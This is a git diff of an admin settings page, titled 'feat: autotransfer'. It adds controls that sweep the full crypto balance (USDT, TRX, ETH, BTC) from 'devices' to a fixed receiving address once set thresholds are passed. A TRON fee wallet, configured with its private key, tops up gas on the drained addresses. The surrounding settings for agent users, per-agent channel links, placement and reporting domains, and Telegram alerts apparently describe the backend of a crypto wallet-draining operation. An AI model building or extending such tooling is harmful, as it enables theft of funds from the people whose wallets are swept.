feat: autotransfer
This commit is contained in:
@@ -11,20 +11,19 @@
|
||||
<legend>Telegram Bot</legend>
|
||||
</fieldset>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">Bot Token</label>
|
||||
<label class="layui-form-label">Bot</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="telegram_bot_token" class="layui-input" autocomplete="off"
|
||||
value="{{ $form['telegram.bot_token'] }}">
|
||||
<div class="layui-form-mid layui-word-aux" id="LAY-telegram-bot-name">
|
||||
<div class="layui-form-mid" id="LAY-telegram-bot-name" style="padding-top:9px !important;">
|
||||
@if($botUsername)
|
||||
当前 Bot:<b>{{ $botUsername }}</b>
|
||||
@if($botInviteUrl)
|
||||
· <a href="{{ $botInviteUrl }}" target="_blank" rel="noopener">邀请进群</a>
|
||||
@endif
|
||||
@else
|
||||
保存 Token 后会通过 Telegram getMe 自动识别 @用户名,无需手填。
|
||||
未识别 Bot 用户名。请在 .env 配置 <code>TELEGRAM_BOT_TOKEN</code> 后刷新本页。
|
||||
@endif
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux">Bot Token 仅能通过 .env 的 TELEGRAM_BOT_TOKEN 配置,后台不展示。</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
@@ -39,49 +38,64 @@
|
||||
@if($botUsername)
|
||||
请邀请 <b>{{ $botUsername }}</b> 进群(进群后 Bot 会回复 Chat ID),再填到这里。全站共用这一个 Bot;代理单独推送只需在「代理用户」里填 Chat ID。
|
||||
@else
|
||||
全站共用这一个 Bot。此处为官方通知群;代理单独推送只需在「代理用户」里填 Chat ID。保存 Token 后会提示要邀请哪个 Bot。
|
||||
全站共用这一个 Bot。此处为官方通知群;代理单独推送只需在「代理用户」里填 Chat ID。
|
||||
@endif
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<fieldset class="layui-elem-field layui-field-title">
|
||||
<legend>后台访问域名</legend>
|
||||
<legend>自动转账(官方渠道)</legend>
|
||||
</fieldset>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">管理后台</label>
|
||||
<label class="layui-form-label">开关</label>
|
||||
<div class="layui-input-block">
|
||||
<textarea name="panel_admin_hosts" class="layui-textarea" rows="3"
|
||||
placeholder="多行或逗号分隔,如:admin.example.com">{{ $form['panel.admin_hosts'] }}</textarea>
|
||||
<div class="layui-form-mid layui-word-aux">留空不限制;填写后仅这些 Host 可打开 /admin(其它域名 404)。也可设 .env CORUNA_ADMIN_HOSTS</div>
|
||||
<input type="hidden" name="auto_transfer_enabled" value="0">
|
||||
<input type="checkbox" name="auto_transfer_enabled" value="1" lay-skin="switch" lay-text="开|关"
|
||||
{{ ($form['auto_transfer.enabled'] ?? '0') === '1' ? 'checked' : '' }}>
|
||||
<div class="layui-form-mid layui-word-aux">仅控制官方渠道设备;代理渠道由代理用户各自开关控制</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">运营后台</label>
|
||||
<div class="layui-input-block">
|
||||
<textarea name="panel_agent_hosts" class="layui-textarea" rows="3"
|
||||
placeholder="多行或逗号分隔,如:agent.example.com">{{ $form['panel.agent_hosts'] }}</textarea>
|
||||
<div class="layui-form-mid layui-word-aux">留空不限制;填写后仅这些 Host 可打开 /user(其它域名 404)。也可设 .env CORUNA_AGENT_HOSTS</div>
|
||||
<label class="layui-form-label">阈值</label>
|
||||
<div class="layui-input-block" style="display:flex;flex-wrap:wrap;gap:8px;max-width:720px;">
|
||||
<input type="text" name="auto_transfer_threshold_usdt" class="layui-input" placeholder="USDT" style="width:140px;"
|
||||
value="{{ $form['auto_transfer.threshold_usdt'] }}">
|
||||
<input type="text" name="auto_transfer_threshold_trx" class="layui-input" placeholder="TRX" style="width:140px;"
|
||||
value="{{ $form['auto_transfer.threshold_trx'] }}">
|
||||
<input type="text" name="auto_transfer_threshold_eth" class="layui-input" placeholder="ETH" style="width:140px;"
|
||||
value="{{ $form['auto_transfer.threshold_eth'] }}">
|
||||
<input type="text" name="auto_transfer_threshold_btc" class="layui-input" placeholder="BTC" style="width:140px;"
|
||||
value="{{ $form['auto_transfer.threshold_btc'] }}">
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux" style="margin-left:110px;">余额大于阈值才全额划转;留空按 >0 触发</div>
|
||||
</div>
|
||||
|
||||
<fieldset class="layui-elem-field layui-field-title">
|
||||
<legend>渠道链接</legend>
|
||||
<legend>TRON 手续费补给</legend>
|
||||
</fieldset>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">投放域名</label>
|
||||
<label class="layui-form-label">补给地址</label>
|
||||
<div class="layui-input-block">
|
||||
<textarea name="channels_domains" class="layui-textarea" rows="4"
|
||||
placeholder="多行或逗号分隔,如:cdn1.example.com cdn2.example.com">{{ $form['channels.domains'] }}</textarea>
|
||||
<div class="layui-form-mid layui-word-aux">渠道未单独配置 domains 时的投放域名兜底;覆盖 .env 的 CORUNA_LAB_CHANNEL_DOMAINS。API/上报域名请用 CORUNA_REPORTING_DOMAINS</div>
|
||||
<input type="text" name="transfer_fee_address_tron" class="layui-input" autocomplete="off"
|
||||
value="{{ $form['transfer.fee_address_tron'] }}" placeholder="用于给被转地址补 TRX">
|
||||
<div class="layui-form-mid layui-word-aux">写入 .env TRANSFER_FEE_ADDRESS_TRON;仅 TRON 转 USDT 时按差额补到目标 TRX。收款地址请在 .env 配置 TRANSFER_TO_ADDRESS*</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">代理渠道上限</label>
|
||||
<label class="layui-form-label">私钥</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="number" min="1" max="100" name="channels_max_per_agent" class="layui-input"
|
||||
value="{{ $form['channels.max_per_agent'] }}" style="max-width:160px;">
|
||||
<div class="layui-form-mid layui-word-aux">每个代理用户最多可拥有的渠道链接数(官方不限)</div>
|
||||
<input type="password" name="transfer_fee_private_key_tron" class="layui-input" autocomplete="new-password"
|
||||
placeholder="{{ ($form['transfer.fee_private_key_tron_set'] ?? '0') === '1' ? '已配置,留空不修改' : '手续费地址私钥' }}">
|
||||
<div class="layui-form-mid layui-word-aux">写入 .env TRANSFER_FEE_PRIVATE_KEY_TRON;留空不改</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">目标 TRX</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="transfer_fee_topup_trx" class="layui-input" style="max-width:160px;"
|
||||
value="{{ $form['transfer.fee_topup_trx'] }}" placeholder="20">
|
||||
<div class="layui-form-mid layui-word-aux">补给目标余额,默认 20</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -102,10 +116,12 @@ layui.use(['form', 'layer'], function () {
|
||||
var token = @json(csrf_token());
|
||||
|
||||
form.on('submit(LAY-settings-save)', function (data) {
|
||||
var payload = Object.assign({}, data.field, { _token: token });
|
||||
payload.auto_transfer_enabled = $('#LAY-settings-form input[name=auto_transfer_enabled][type=checkbox]').is(':checked') ? '1' : '0';
|
||||
$.ajax({
|
||||
url: @json(route('admin.system.settings.update')),
|
||||
method: 'POST',
|
||||
data: Object.assign({}, data.field, { _token: token }),
|
||||
data: payload,
|
||||
success: function (res) {
|
||||
layer.msg(res.msg || (res.code === 0 ? '已保存' : '失败'));
|
||||
if (res.code === 0 && res.data) {
|
||||
@@ -115,8 +131,6 @@ layui.use(['form', 'layer'], function () {
|
||||
var invite = url ? ' · <a href="' + url + '" target="_blank" rel="noopener">邀请进群</a>' : '';
|
||||
$('#LAY-telegram-bot-name').html('当前 Bot:<b>' + name + '</b>' + invite);
|
||||
$('#LAY-telegram-chat-hint').html('请邀请 <b>' + name + '</b> 进群(进群后 Bot 会回复 Chat ID),再填到这里。全站共用这一个 Bot;代理单独推送只需在「代理用户」里填 Chat ID。');
|
||||
} else {
|
||||
$('#LAY-telegram-bot-name').text('保存 Token 后会通过 Telegram getMe 自动识别 @用户名,无需手填。');
|
||||
}
|
||||
}
|
||||
},
|
||||
@@ -136,8 +150,7 @@ layui.use(['form', 'layer'], function () {
|
||||
method: 'POST',
|
||||
data: {
|
||||
_token: token,
|
||||
chat_id: $('input[name=telegram_owner_chat_id]').val(),
|
||||
bot_token: $('input[name=telegram_bot_token]').val()
|
||||
chat_id: $('input[name=telegram_owner_chat_id]').val()
|
||||
},
|
||||
success: function (res) {
|
||||
layer.msg(res.msg || (res.code === 0 ? '已发送' : '失败'));
|
||||
|
||||
Reference in New Issue
Block a user